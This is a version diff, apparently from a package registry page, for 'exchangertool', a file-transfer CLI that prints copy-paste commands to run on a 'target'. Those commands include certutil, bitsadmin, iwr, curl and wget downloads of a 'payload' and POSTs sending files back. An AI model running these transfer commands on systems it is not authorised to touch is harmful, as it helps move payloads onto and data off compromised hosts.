exchangertool
Advanced tools
+26
-5
@@ -100,2 +100,4 @@ """HTTP server and client for file exchange.""" | ||
| show_bar = size >= _MIN_SIZE_FOR_PROGRESS and sys.stderr.isatty() | ||
| request_path_normalized = path.strip("/") or path | ||
| serve_path = getattr(self.server, "serve_path", None) | ||
| with _PROGRESS_LOCK: | ||
@@ -118,2 +120,4 @@ with open(local, "rb") as f: | ||
| pbar.update(len(chunk)) | ||
| if serve_path is not None and request_path_normalized == serve_path: | ||
| self.server.shutdown() | ||
@@ -234,2 +238,3 @@ def do_POST(self): | ||
| server = http.server.HTTPServer((args.bind, args.port), handler) | ||
| server.serve_path = None | ||
| if args.port == 443: | ||
@@ -248,9 +253,25 @@ try: | ||
| if receive_only: | ||
| print(f"exchanger: listening to receive (target POSTs to you) on {args.bind}:{args.port}") | ||
| from .net_ import print_commands_receive_listen | ||
| from .net_ import BOLD, GREEN, RESET, print_commands_receive_listen | ||
| if sys.stderr.isatty(): | ||
| print(f"{GREEN}{BOLD}🔄 exchanger: listening to receive (target POSTs to you) on {args.bind}:{args.port}{RESET}", file=sys.stderr) | ||
| else: | ||
| print(f"exchanger: listening to receive (target POSTs to you) on {args.bind}:{args.port}", file=sys.stderr) | ||
| print_commands_receive_listen(args.port, getattr(args, "protocol", "http")) | ||
| else: | ||
| print(f"exchanger: serving {dir_abs} on {args.bind}:{args.port} (protocol http)") | ||
| from .net_ import print_commands_serve | ||
| print_commands_serve(args.port, getattr(args, "protocol", "http")) | ||
| from .net_ import BOLD, GREEN, RESET, get_serve_base, print_commands_serve, pick_file_to_serve | ||
| if sys.stderr.isatty(): | ||
| print(f"{GREEN}{BOLD}🔄 exchanger: serving {dir_abs} on {args.bind}:{args.port} (http){RESET}", file=sys.stderr) | ||
| else: | ||
| print(f"exchanger: serving {dir_abs} on {args.bind}:{args.port} (protocol http)", file=sys.stderr) | ||
| base, platform = get_serve_base(args.port, getattr(args, "protocol", "http")) | ||
| serve_path = pick_file_to_serve(dir_abs) | ||
| if base is not None: | ||
| print_commands_serve( | ||
| args.port, | ||
| getattr(args, "protocol", "http"), | ||
| serve_path=serve_path, | ||
| _base=base, | ||
| _platform=platform, | ||
| ) | ||
| server.serve_path = serve_path | ||
| stop = threading.Event() | ||
@@ -257,0 +278,0 @@ spinner = threading.Thread(target=_spinner_loop, args=(stop,), daemon=True) |
+102
-43
| """Local IP detection and interface picker.""" | ||
| import os | ||
| import re | ||
@@ -8,3 +9,16 @@ import subprocess | ||
| # ANSI colors (only used when stderr is a tty) | ||
| def _c(code: str) -> str: | ||
| return code if sys.stderr.isatty() else "" | ||
| BOLD = _c("\033[1m") | ||
| DIM = _c("\033[2m") | ||
| CYAN = _c("\033[36m") | ||
| GREEN = _c("\033[32m") | ||
| YELLOW = _c("\033[33m") | ||
| BLUE = _c("\033[34m") | ||
| RESET = _c("\033[0m") | ||
| def get_all_interfaces() -> list[tuple[str, str]]: | ||
@@ -38,5 +52,6 @@ """Return list of (interface_name, ipv4) excluding lo.""" | ||
| p = subprocess.run( | ||
| ["fzf", "--height", "10", "-1"], | ||
| ["fzf", "--height", "10", "-1", "--prompt", "interface: "], | ||
| input="\n".join(lines), | ||
| capture_output=True, | ||
| stdout=subprocess.PIPE, | ||
| stderr=None, | ||
| text=True, | ||
@@ -85,3 +100,4 @@ timeout=30, | ||
| input="\n".join(lines), | ||
| capture_output=True, | ||
| stdout=subprocess.PIPE, | ||
| stderr=None, | ||
| text=True, | ||
@@ -120,3 +136,2 @@ timeout=30, | ||
| return get_local_ip() | ||
| sys.stderr.write("\n select interface (for command box):\n") | ||
| return _pick_interface_fzf(choices) or _pick_interface_menu(choices) | ||
@@ -147,2 +162,13 @@ | ||
| def get_serve_base(port: int, protocol: str = "http") -> tuple[str | None, str | None]: | ||
| """Run platform and interface pickers; return (base_url, platform) or (None, None). No output.""" | ||
| platform = pick_platform() | ||
| my_ip = pick_interface() | ||
| if not my_ip: | ||
| my_ip = get_local_ip() | ||
| if not my_ip or protocol != "http": | ||
| return (None, None) | ||
| return (_base_url(my_ip, port), platform) | ||
| def _target_receive_linux(base: str, path: str = "/path/to/file", out: str = "/tmp/payload.bin") -> str: | ||
@@ -157,5 +183,9 @@ p = urlparse(base) | ||
| url = f"{base}{path}" | ||
| iwr = f'iwr -Uri "{url}" -OutFile "{out}"' | ||
| bits = f'bitsadmin /transfer job /download /priority high "{url}" "{out}"' | ||
| return f"curl -o {out} {url}\ncertutil -urlcache -split -f {url} {out}\n{iwr}\n{bits}" | ||
| return ( | ||
| f"curl -o {out} {url}\n" | ||
| f"wget -O {out} {url}\n" | ||
| f"certutil -urlcache -split -f {url} {out}\n" | ||
| f'iwr -Uri "{url}" -OutFile "{out}"\n' | ||
| f'bitsadmin /transfer job /download /priority high "{url}" "{out}"' | ||
| ) | ||
@@ -171,38 +201,72 @@ | ||
| _WIDTH = 56 | ||
| def pick_file_to_serve(dir_abs: str) -> str | None: | ||
| """Fuzzy-pick a file under dir_abs; return relative path or None.""" | ||
| files: list[str] = [] | ||
| for root, _dirs, names in os.walk(dir_abs): | ||
| rel_root = os.path.relpath(root, dir_abs) | ||
| if rel_root == ".": | ||
| rel_root = "" | ||
| for name in names: | ||
| path = os.path.join(rel_root, name) if rel_root else name | ||
| files.append(path) | ||
| if not files: | ||
| return None | ||
| try: | ||
| p = subprocess.run( | ||
| ["fzf", "--height", "15", "-1", "--prompt", "file to serve: "], | ||
| input="\n".join(sorted(files)), | ||
| stdout=subprocess.PIPE, | ||
| stderr=None, | ||
| text=True, | ||
| timeout=60, | ||
| cwd=dir_abs, | ||
| ) | ||
| if p.returncode != 0 or not p.stdout.strip(): | ||
| return None | ||
| return p.stdout.strip() | ||
| except (FileNotFoundError, subprocess.TimeoutExpired): | ||
| return None | ||
| def _box_line(text: str) -> str: | ||
| return " | " + text.ljust(_WIDTH) + " |\n" | ||
| def _section(title: str, lines: list[str]) -> str: | ||
| out = ["", f" {title}", " " + "-" * (len(title) + 2)] | ||
| def _write_section(title: str, emoji: str, lines: list[str]) -> None: | ||
| sys.stderr.write(f"\n {YELLOW}{BOLD}{emoji} {title}{RESET}\n") | ||
| for line in lines: | ||
| out.append(f" {line}") | ||
| return "\n".join(out) + "\n" | ||
| sys.stderr.write(f" {CYAN}{line}{RESET}\n") | ||
| def print_commands_serve(port: int, protocol: str = "http") -> None: | ||
| """Print copy-paste commands for target (curl/wget/certutil/iwr/bitsadmin) when we are serving.""" | ||
| platform = pick_platform() | ||
| my_ip = pick_interface() | ||
| if not my_ip or protocol != "http": | ||
| return | ||
| base = _base_url(my_ip, port) | ||
| sys.stderr.write("\n") | ||
| sys.stderr.write(" +" + "-" * (_WIDTH + 4) + "+\n") | ||
| sys.stderr.write(_box_line("run on target (copy-paste)")) | ||
| sys.stderr.write(" +" + "-" * (_WIDTH + 4) + "+\n") | ||
| def print_commands_serve( | ||
| port: int, | ||
| protocol: str = "http", | ||
| serve_path: str | None = None, | ||
| _base: str | None = None, | ||
| _platform: str | None = None, | ||
| ) -> tuple[str | None, str | None]: | ||
| """Print copy-paste commands for target. Call with _base and _platform from get_serve_base().""" | ||
| if _base is None or _platform is None: | ||
| return (None, None) | ||
| base = _base | ||
| platform = _platform | ||
| url_path = ("/" + serve_path) if serve_path else "/path/to/file" | ||
| path_display = serve_path if serve_path else "path/to/file" | ||
| name_display = path_display.split("/")[-1] if path_display else "file" | ||
| out_linux = f"/tmp/{name_display}" | ||
| out_win = name_display | ||
| send_path = "path/to/file" | ||
| send_name = "path/to/file" | ||
| sys.stderr.write(f"\n {BOLD}📋 Run on target (copy-paste):{RESET}\n") | ||
| if serve_path: | ||
| sys.stderr.write(f" {DIM}📁 {path_display} — server exits after download{RESET}\n") | ||
| if platform in (None, "linux"): | ||
| recv_linux = _target_receive_linux(base).split("\n") | ||
| send_linux = _target_send_linux(base).split("\n") | ||
| sys.stderr.write(_section("linux: receive from you", recv_linux)) | ||
| sys.stderr.write(_section("linux: send to you", send_linux)) | ||
| recv_lines = _target_receive_linux(base, path=url_path, out=out_linux).strip().split("\n") | ||
| send_lines = [_target_send_linux(base, path=f"./{send_path}", name=send_name)] | ||
| _write_section("Linux — receive (curl, wget, bash)", "🐧 ⬇️", recv_lines) | ||
| _write_section("Linux — send", "🐧 ⬆️", send_lines) | ||
| if platform in (None, "windows"): | ||
| recv_win = _target_receive_win(base).split("\n") | ||
| send_win = _target_send_win(base).split("\n") | ||
| sys.stderr.write(_section("windows: receive from you", recv_win)) | ||
| sys.stderr.write(_section("windows: send to you", send_win)) | ||
| recv_lines = _target_receive_win(base, path=url_path, out=out_win).strip().split("\n") | ||
| send_lines = [_target_send_win(base, path=send_path, name=send_name)] | ||
| _write_section("Windows — receive (curl, wget, certutil, iwr, bitsadmin)", "🪟 ⬇️", recv_lines) | ||
| _write_section("Windows — send", "🪟 ⬆️", send_lines) | ||
| sys.stderr.write("\n") | ||
| sys.stderr.flush() | ||
| return (base, platform) | ||
@@ -217,12 +281,7 @@ | ||
| base = _base_url(my_ip, port) | ||
| sys.stderr.write("\n") | ||
| sys.stderr.write(" +" + "-" * (_WIDTH + 4) + "+\n") | ||
| sys.stderr.write(_box_line("run on target (POST file to you)")) | ||
| sys.stderr.write(" +" + "-" * (_WIDTH + 4) + "+\n") | ||
| sys.stderr.write(f"\n {BOLD}📋 Run on target (POST file to you):{RESET}\n") | ||
| if platform in (None, "linux"): | ||
| send_linux = _target_send_linux(base).split("\n") | ||
| sys.stderr.write(_section("linux", send_linux)) | ||
| _write_section("Linux — send", "🐧 ⬆️", [_target_send_linux(base)]) | ||
| if platform in (None, "windows"): | ||
| send_win = _target_send_win(base).split("\n") | ||
| sys.stderr.write(_section("windows", send_win)) | ||
| _write_section("Windows — send", "🪟 ⬆️", [_target_send_win(base)]) | ||
| sys.stderr.write("\n") |
| Metadata-Version: 2.4 | ||
| Name: exchangertool | ||
| Version: 0.1.2 | ||
| Version: 0.1.3 | ||
| Summary: Minimal CLI to send or receive files over HTTP or SMB. | ||
@@ -5,0 +5,0 @@ License-Expression: MIT |
+1
-1
| Metadata-Version: 2.4 | ||
| Name: exchangertool | ||
| Version: 0.1.2 | ||
| Version: 0.1.3 | ||
| Summary: Minimal CLI to send or receive files over HTTP or SMB. | ||
@@ -5,0 +5,0 @@ License-Expression: MIT |
+1
-1
@@ -7,3 +7,3 @@ [build-system] | ||
| name = "exchangertool" | ||
| version = "0.1.2" | ||
| version = "0.1.3" | ||
| description = "Minimal CLI to send or receive files over HTTP or SMB." | ||
@@ -10,0 +10,0 @@ readme = "README.md" |
Alert delta unavailable
Currently unable to show alert delta for PyPI packages.
37243
9.45%608
14.5%